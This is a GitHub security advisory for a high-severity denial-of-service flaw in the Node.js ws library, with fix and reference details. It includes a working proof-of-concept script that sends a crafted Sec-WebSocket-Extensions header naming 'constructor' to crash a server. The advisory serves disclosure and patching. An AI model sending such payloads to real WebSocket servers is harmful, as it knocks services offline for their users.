websockets/ws · Security
Denial of Service in ws
- GHSA ID
- GHSA-5v72-xg48-5rpm
- Severity
- high
- Published
- Updated
- CVSS
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- CVSS v3
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Recommendation
Update to version 3.3.1 or later.
CWEs
- CWE-400 · Uncontrolled Resource Consumption
References
- https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a ↗
- https://snyk.io/vuln/npm:ws:20171108 ↗
- https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407 ↗
- https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef ↗
- https://github.com/advisories/GHSA-5v72-xg48-5rpm ↗